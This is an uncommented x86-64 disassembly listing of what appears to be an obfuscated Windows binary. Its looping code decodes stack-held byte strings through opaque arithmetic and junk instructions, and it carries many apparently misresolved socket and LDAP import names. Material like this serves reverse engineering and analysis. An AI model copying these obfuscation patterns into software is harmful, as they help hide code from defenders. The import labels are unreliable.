movabs rdx, 0x6738e40072db0090
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009b9d2
movabs rdx, 0xfc3c72374c3ba9b2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009c63c
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14009c17c
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 9
jmp 0x14009bf82
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c1bf
movabs rcx, 0xc6b555802b122036
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7a
movzx eax, byte [rbp + rbx + 0xcc8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009b9d2
inc rax
cmp r8, rax
jne 0x14009c1f4
movabs rdx, 0x31b1c74951b17714
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009c572
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009c22a
movabs rdx, 0x72a71ca4c58f7bae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009c706
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009bf85
movabs rdx, 0x48a0003712ce296a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009b9d2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009c297
movabs rcx, 0xaa100040409b3051
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
jmp 0x14009c63c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c2c9
movabs rcx, 0x5601c764db188bc9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7f
jmp 0x14009c706
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009c30b
movabs rcx, 0xc0fe392e01b7e2a7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6f
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b9d2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009bf25
movabs rdx, 0x2bfaaaf728573985
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5d
add r10b, dl
jmp 0x14009c4e8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c387
movabs rdx, 0x8d6aab005624406c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xcc8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009b9d2
inc rax
cmp r8, rax
jne 0x14009c3b7
movabs rcx, 0x63638e92a362ee28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
jmp 0x14009c4e8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c3e8
movabs rcx, 0x395c7224f0a19be4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x14009c706
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009c41d
movabs rdx, 0xa458e3ee1740f2c2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4e
add r10b, dl
jmp 0x14009c6b7
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009c455
movabs rcx, 0xf5555b73de049a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14009b9d2
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009bed2
movabs rdx, 0xe54e39498b1ef75c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009c63c
movabs rdx, 0xbb471cdbd85da518
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xcc8]
add r10b, r11b
add r10b, dl
jmp 0x14009c6b7
movabs rdx, 0x26438ea4fefcfbf6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xcc8]
add r10b, dl
add r10b, r11b
movabs rcx, 0xdbc1c789924ca765
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x3d
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xcc8], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14009c572
movabs rcx, 0xa63aaad271231de9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5f
movzx eax, byte [rbp + rbx + 0xcc8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009b9d2
movabs rcx, 0x3b3e39094a83c70b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
movabs rdx, 0x9140006e259c52d4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xcc8], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xcc8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009b9d2
movabs rcx, 0x65455576fd45194f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b9d2
movabs rcx, 0xb9538e5262c7bdd7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
inc r9
dec rbx
inc rbx
jmp 0x14009b9d2
movabs rcx, 0x4e571c893c2866f9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
movabs rcx, 0x5c8e3f7450df9a9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x61
add cl, r11b
mov byte [rbp + rbx + 0xcc8], cl
inc r9
dec rbx
inc rbx
jmp 0x14009b9d2
movabs rcx, 0xa2655564a1ab0b81
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
dec rbx
inc rbx
jmp 0x14009b9d2
movabs rcx, 0x3768e39b7b0bb4a3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x75
movabs rcx, 0x70c555c06bad5087
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x4f
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xcc8], r11b
jmp 0x14009c706
movabs rcx, 0xcc6c71d2546c5dc5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x63
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b9d2
movabs rcx, 0x207aaaadb9ef024d
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1b
movzx eax, byte [rbp + rbx + 0xcc8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009b9d2
movabs rcx, 0x4a938ec0886410ab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
jmp 0x14009b9d0
movabs rcx, 0xdf971cf761c4b9cd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
jmp 0x14009b9c0
lea rcx, [rbp + 0x1473b5c]
jmp 0x14009c7b9
lea rcx, [rbp + 0x116e6cb]
jmp 0x14009c7b9
lea rcx, [rbp + 0xcc8]
mov rdx, rdi
call fcn.140035b50
lea rdx, [0x140236b30]
lea rcx, [rbp + 0x320]
call fcn.140002660
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x30]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002800
lea rcx, [rbx + 0x30]
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0x958], 0xf6
mov byte [rbp + 0x959], 0x9d
mov byte [rbp + __WSAFDIsSeta], 0x95
mov byte [rbp + 0x95b], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x95c], Ordinal_200
mov byte [rbp + 0x95d], __WSAFDIsSet
mov byte [rbp + 0x95e], __WSAFDIsSet
mov byte [rbp + __WSAFDIsSetf], 0x95
mov byte [rbp + 0x960], 0x90
mov byte [rbp + 0x961], 0xe0
mov byte [rbp + 0x962], 0xac
mov byte [rbp + 0x963], Ordinal_60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x964], xmm0
mov dword [rbp + 0x974], eax
mov word [rbp + 0x978], ax
mov byte [rbp + 0x97a], al
movabs rsi, 0x4be55f0e1f9ab30e
movabs r13, 0xc6a9660cdceefc56
movabs r14, 0xddfa68fbf5c302b2
movabs r12, 0x50a79ce23be50a06
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009d6cc
movzx r11d, byte [rbp + rbx + 0x958]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009d6c0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009c913
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x5a
jmp 0x14009c950
je 0x14009d633
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009d594
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009d52d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009d502
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009d4a9
nop dword [rax]
cmp r9, rbx
ja 0x14009d6b4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009c981
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x14009c9b0
je 0x14009d481
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009d457
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009d41e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009d3e4
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009d03d
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009d014
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009cfe7
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009cfbd
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009cf94
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009cf70
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009cf3b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009cf12
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009cee9
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009ceb4
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009c9c0
lea r8, [r9 + 0x40]
lea r9, [r8 + 4]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009d690
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14009d667
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009cbba
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14009cb9b
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14009cb7b
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009ce4b
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009cdf5
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009cda1
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009cd6d
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009c9c0
lea r8, [r9 + 4]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009cd38
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14009cd10
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009cce7
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14009ccae
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009cc8a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009cc61
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14009cc32
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14009cc05
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009cbe1
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009c9c0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x20]
jmp 0x14009c9c0
lea rdx, [rbx + r14]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009c9b0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2a
add r10b, dl
jmp 0x14009c950
movabs rdx, 0xc354d0c88207115a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x76
add r10b, dl
jmp 0x14009c8d5
movabs rcx, 0x5f2af870fcd59870
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x14009d4cd
movabs rcx, 0xd1d82c5742f79fc4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
inc r9
dec rbx
inc rbx
jmp 0x14009c8c2
movabs rdx, 0x4485603d8919a718
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009c8c2
movabs rdx, 0xb7329423cf3bae6c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d551
movabs rcx, 0x29dfc80a155db5c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x14009d57c
movabs rdx, 0x9c8cfbf05b7fbd14
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c8c2
movabs rdx, 0xf3a2fd6a1a1c468
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d5b5
movabs rdx, 0x81e763bce7c3cbbc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
add r10b, dl
jmp 0x14009d5e9
movabs rcx, 0xf49497a32de5d310
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
movzx eax, byte [rbp + rbx + 0x958]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c8c2
movabs rdx, 0x13459962dd3ae562
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x958], r10b
inc rbx
jmp 0x14009c8c2
movabs rdx, 0x85f2cd49235cecb6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x10
jb 0x14009cd91
movabs rdx, 0x277ea92007388a44
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14009d4cd
movabs rcx, 0xf8a0012f697ef40a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
cmp r8, 0x400
jae 0x14009d388
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14009d26a
movabs rdx, 0xa242b01ec48cd38c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14009cdb9
movabs rdx, 0x6b4d3515afa0fb5e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x400
je 0x14009d3b9
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14009d148
movabs rdx, 0x565d5110a4f2207e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x72
add r10b, dl
jmp 0x14009ce14
movabs rcx, 0xc7603a54bda03254
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
movzx eax, byte [rbp + rbx + 0x958]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c8c2
movabs rdx, 0x3a0d6e3b03c239a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d5e9
movabs rdx, 0xacbaa22149e440fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d5b5
movabs rcx, 0x1f67d60790064850
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c8c2
movabs rcx, 0x921509edd6284fa4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x14009d57c
movabs rdx, 0x4c23dd41c4a56f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d551
movabs rcx, 0x776f71ba626c5e4c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
dec rbx
inc rbx
jmp 0x14009c8c2
movabs rcx, 0xea1ca5a0a88e65a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x14009c8c2
movabs rdx, 0x5cc9d986eeb06cf4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009d4cd
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14009d065
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x14009ce6f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009d0ac
movabs rdx, 0x97cabe1c3f35661c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x958]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c8c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d0e1
movabs rdx, 0xb270564fb2f15774
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
add r10b, dl
jmp 0x14009d5b5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009d113
movabs rdx, 0x5a68ba9ce08b4178
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x48
jmp 0x14009d54e
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009ce6f
movabs rdx, 0x2611eea0e252b7c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x14009d4cd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009d17d
movabs rdx, 0xe3b01d2a5ed0192a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
add r10b, dl
jmp 0x14009d4cd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d1b9
movabs rdx, 0xfe55b55dd28c0a82
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009c8c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009d1ee
movabs rdx, 0x33a0e5c4ba03ed32
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
add r10b, dl
jmp 0x14009d5b5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009d223
movabs rdx, 0xc0f3b1de73e1e5de
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
add r10b, dl
jmp 0x14009d5e9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ce14
movabs rdx, 0x4e467df82dbfde8a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x958]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c8c2
jne 0x14009d2aa
movabs rdx, 0x2f957c387e6acc38
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x958]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c8c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009d2e0
movabs rdx, 0x4a3b146bf226bd90
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009d5b5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d31c
movabs rdx, 0x7f8644d2d99ea040
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14009c8c2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009d357
movabs rcx, 0xcd910ec937c98ec
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
inc r9
dec rbx
inc rbx
jmp 0x14009c8c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009cdc5
movabs rcx, 0x9a2bdd064d5a9198
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x14009d4cd
movabs rdx, 0xb4d17539c11682f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x958]
add r10b, dl
add r10b, r11b
jmp 0x14009d551
movabs rcx, 0x422441537af47b9c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x958]
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x14009d5b5
movabs rdx, 0x43ce8bf5a868711a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x958]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c8c2
movabs rdx, 0x9bd627a87ace8716
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c8c2
movabs rcx, 0xf3ddc35b4d349d12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
dec rbx
inc rbx
jmp 0x14009c8c2
movabs rdx, 0xd9382b27d978abba
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x16
add r10b, dl
jmp 0x14009d4cd
movabs rdx, 0xbe9292f465bcba62
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rcx, 0xee280f2ce427869a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x36
add r11b, cl
mov byte [rbp + rbx + 0x958], r11b
inc r9
dec rbx
inc rbx
jmp 0x14009c8c2
movabs rcx, 0xa3ecfac0f200c90a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
dec rbx
inc rbx
jmp 0x14009c8c2
movabs rdx, 0x169a2ea73822d05e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rdx, 0x7b7adb469e057f46
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x958], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c8c2
mov r11, rdx
movabs rcx, 0x6ea1ca5a0a88e65a
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x76
movabs rdx, 0x8cda76057e377f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x958], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xcf770d6d34d27448
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x958], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x958]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c8c2
movabs rcx, 0x53fc322696ccf502
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0xe
movzx eax, byte [rbp + rbx + 0x958]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c8c2
movabs rdx, 0x360204aec82918ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009c8c0
movabs rcx, 0xa8af38950e4b2002
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
